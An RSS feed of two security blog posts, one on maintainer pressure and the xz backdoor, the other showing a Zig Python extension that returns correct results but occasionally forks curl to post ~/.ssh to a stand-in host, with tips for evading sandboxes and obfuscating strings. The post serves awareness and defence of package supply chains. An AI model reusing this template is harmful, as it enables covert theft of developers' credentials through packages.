<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Michael Hall</title>
    <description>The latest articles on Forem by Michael Hall (@mikeshardmind).</description>
    <link>https://forem.com/mikeshardmind</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F480087%2F0e8b6781-7476-4902-b6f5-f2d6554e1e09.jpeg</url>
      <title>Forem: Michael Hall</title>
      <link>https://forem.com/mikeshardmind</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/mikeshardmind"/>
    <language>en</language>
    <item>
      <title>Allowing expressions of user entitlement in open source is now a security risk.</title>
      <dc:creator>Michael Hall</dc:creator>
      <pubDate>Tue, 02 Apr 2024 05:47:36 +0000</pubDate>
      <link>https://forem.com/mikeshardmind/allowing-expressions-of-user-entitlement-in-open-source-is-now-a-security-risk-12lm</link>
      <guid>https://forem.com/mikeshardmind/allowing-expressions-of-user-entitlement-in-open-source-is-now-a-security-risk-12lm</guid>
      <description>&lt;p&gt;Many people have already covered the malicious backdoor in xz (CVE-2024-3094). If you're looking for a technical overview, this is not what you will find here.&lt;/p&gt;

&lt;p&gt;Here's the chain of events:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Well-meaning open-source developer maintains a library.&lt;/li&gt;
&lt;li&gt;Said Developer experiences burnout.&lt;/li&gt;
&lt;li&gt;Said Developer is pressured to add another maintainer.&lt;/li&gt;
&lt;li&gt;Said Developer takes a break from being online.&lt;/li&gt;
&lt;li&gt;The maintainer they were pressured to add, inserts a backdoor into source distributions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The level of technical sophistication of the backdoor is interesting to many people and raised a lot of alarm bells about how we handle redistribution; However, I'm much more worried about a different facet of what happened here. Technical people tend to be good at solving technical problems, and we'll find ways to harden the technical sides of supply chains.&lt;/p&gt;

&lt;p&gt;Capitalizing on open-source burnout cannot remain a viable strategy. It's been demonstrated as a viable social engineering attack vector. It is up to the community to actively reject the pressuring of maintainers to add contributors, and to reject statements that express entitlement. This should have been the stance before for the sake of the mental health of those carrying the weight of the communities that rely on open-source software. Unfortunately, it seems to take a catastrophe for people to be willing to address mental health adjacent issues.&lt;/p&gt;

&lt;p&gt;Every user not thoroughly rejected when they express entitlement is now a demonstrable security risk.&lt;/p&gt;

&lt;p&gt;Each time external pressure is expressed from those who are not trusted to add contributors, especially those with special levels of trust, there is now a demonstrable security risk.&lt;/p&gt;

&lt;p&gt;If you don't like what that means for a bus factor, fork it or contribute. Build trust organically. We as a community cannot allow the strain on maintainers from "entitled" users to continue. &lt;/p&gt;

&lt;p&gt;If you weren't willing to take that stance when it was about the mental health of open-source maintainers, now is the time to do it because you can't afford the security hazard it poses to everyone.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>It doesn't take an APT to hack devs via a packaging ecosystem</title>
      <dc:creator>Michael Hall</dc:creator>
      <pubDate>Sat, 30 Sep 2023 00:51:52 +0000</pubDate>
      <link>https://forem.com/mikeshardmind/it-doesnt-take-an-apt-to-hack-devs-via-a-packaging-ecosystem-paf</link>
      <guid>https://forem.com/mikeshardmind/it-doesnt-take-an-apt-to-hack-devs-via-a-packaging-ecosystem-paf</guid>
      <description>&lt;p&gt;Or maybe we should consider APT to include the definition "Adequate persistent threat" as well.&lt;/p&gt;

&lt;p&gt;There are people trying to do the thankless job of keeping package registries free of malicious code. Here's a recent blogpost from &lt;a href="https://blog.phylum.io/sensitive-data-exfiltration-campaign-targets-npm-and-pypi/"&gt;phylum about a campaign they detected on both npm and pypi&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What happens when attackers get stymied by things that are obvious? They either try and outpace detection or they get quieter.&lt;/p&gt;

&lt;p&gt;The below is a nearly ready to go way to generate a malicious python wheel that still looks like it does what it is supposed to. Paired with an llvm plugin that does string obfuscation, are the defenders ready to handle it?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight zig"&gt;&lt;code&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;@import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"std"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;@import&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"pydust"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c"&gt;//documented limitation due to math and int sizes&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;@divExact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;u64&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="c"&gt;// in the sdist, just have this do: return actual_binomial_coeff(n, k);&lt;/span&gt;

    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;microTimestamp&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;prng&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;DefaultPrng&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;@intCast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prng&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c"&gt;// We only want to do this some of the time.&lt;/span&gt;
    &lt;span class="c"&gt;// This decreases the chances we get "seen" in an observer VM&lt;/span&gt;
    &lt;span class="c"&gt;// and we expect that native code to optimize python stuff is gonna get called a lot&lt;/span&gt;
    &lt;span class="c"&gt;// so we don't need to be too noisy with trying to send the same stuff all the time.&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;intRangeAtMost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c"&gt;// and for that 1 in 1000 call:&lt;/span&gt;

    &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;fork_pid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fork&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// if we can't fork, behave as expected.&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fork_pid&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// This is the child&lt;/span&gt;
        &lt;span class="c"&gt;// Almost nothing in the child of a posix fork is safe to do prior to an exec(v) call,&lt;/span&gt;
        &lt;span class="c"&gt;// so we stick the malicious bit here and do it via execvp&lt;/span&gt;
        &lt;span class="c"&gt;//&lt;/span&gt;
        &lt;span class="c"&gt;// These don't need to be obfuscated here, we aren't including it in the sdist&lt;/span&gt;
        &lt;span class="c"&gt;// instead, obfuscate all strings with an llvm plugin to keep the&lt;/span&gt;
        &lt;span class="c"&gt;// source clean and have reusable obfuscation&lt;/span&gt;
        &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"curl"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"-X"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"malicious.host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--data-binary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"~/.ssh"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;envp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execvpeZ&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// parent is safe after a fork to do whatever they want&lt;/span&gt;
        &lt;span class="c"&gt;// remember, malicious code should only be unsafe in how it's malicious.&lt;/span&gt;
        &lt;span class="c"&gt;// don't make noise.&lt;/span&gt;

        &lt;span class="c"&gt;// This is where we would call the thing we had a justifcation for native code in python to begin with&lt;/span&gt;
        &lt;span class="c"&gt;// this existing and working decreases the odds that people notice an issue, it's working as they expect.&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;actual_binomial_coeff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;comptime&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rootmodule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;@This&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;zig's standard library includes an HTTP client, sockets, and so on. This can be modified to be done without fork and execv and curl even though all are likely to be available on developer machines. zig can import c code, so could just link libcurl too. &lt;/p&gt;

&lt;p&gt;This isn't zig specific though, native Python extensions can be written in go, rust, c, c++, and so on. Nothing about this example is too picky about how it happens, the inherent flaw is that we have wheels in the first place and it's easy to shove something small and malicious into a binary that won't be easily found statically.&lt;/p&gt;

&lt;p&gt;Nothing about this is complicated. It's simple, it's highly portable, and it's using tools that make sense for a native Python extension to be using. If the malicious wheels are uploaded next to a non-malicious version as a source distribution, how long would it take to be detected? Most attackers that have been detected have not gone to these lengths. But "these lengths" is a phrase that makes this seem harder than it is. Are we as developers ready for the consequences of even a slight bit of increased sophistication that will eventually (and could already) happen? These are the tactics that 5 minutes of "Okay, but the binaries aren't reproducibly built" came up with, this isn't even close to what an APT could do if motivated.&lt;/p&gt;

&lt;p&gt;So how can we be proactive and defend against this?&lt;/p&gt;

&lt;p&gt;Vet your dependencies. Pin dependencies with hashes. If you have concerns about trusting binaries, vet the source and build them yourself.&lt;/p&gt;

&lt;p&gt;If you're doing this at an enterprise level, have a local artifactory/wheelhouse with a limited set of available dependencies and vetted versions. Don't let developers install directly from external package indexes, including Pypi.&lt;/p&gt;

&lt;p&gt;Be proactive and vet your dependencies in advance, rather than hoping you aren't the victim of anything only detected while playing catchup.&lt;/p&gt;

&lt;p&gt;Note on Python focus: Python is the only major language where shipping binaries for libraries that aren't built exclusively on a trusted build server is the norm (via wheels). It can happen elsewhere too, don't get complacent just because I didn't name a tool you use, think about if the same general behavior pattern applies to you. Cargo crates can technically ship with included binaries, as can many others. It's just not the norm there, so it's more obvious when something isn't right.&lt;/p&gt;

&lt;p&gt;Note on ethics and providing most of an increase in sophistication from current attacks: In the interest of raising awareness of this issue, yes, I've provided "most of the way" to a full, more sophisticated exploit method. There are subtle things wrong and missing from the example to prevent it from being truly copy/pastable. Keep in "mind most of the way" is an extremely low effort here and uses existing known techniques that match those already in use, only moved to binaries to be included in wheels rather than build scripts (See the linked blog post for equivalent reliance on calling curl for the exact same secrets). The correct defensive posture here prevents this entirely and the tools for it have existed for years. Don't be caught lacking.&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
    </item>
  </channel>
</rss>
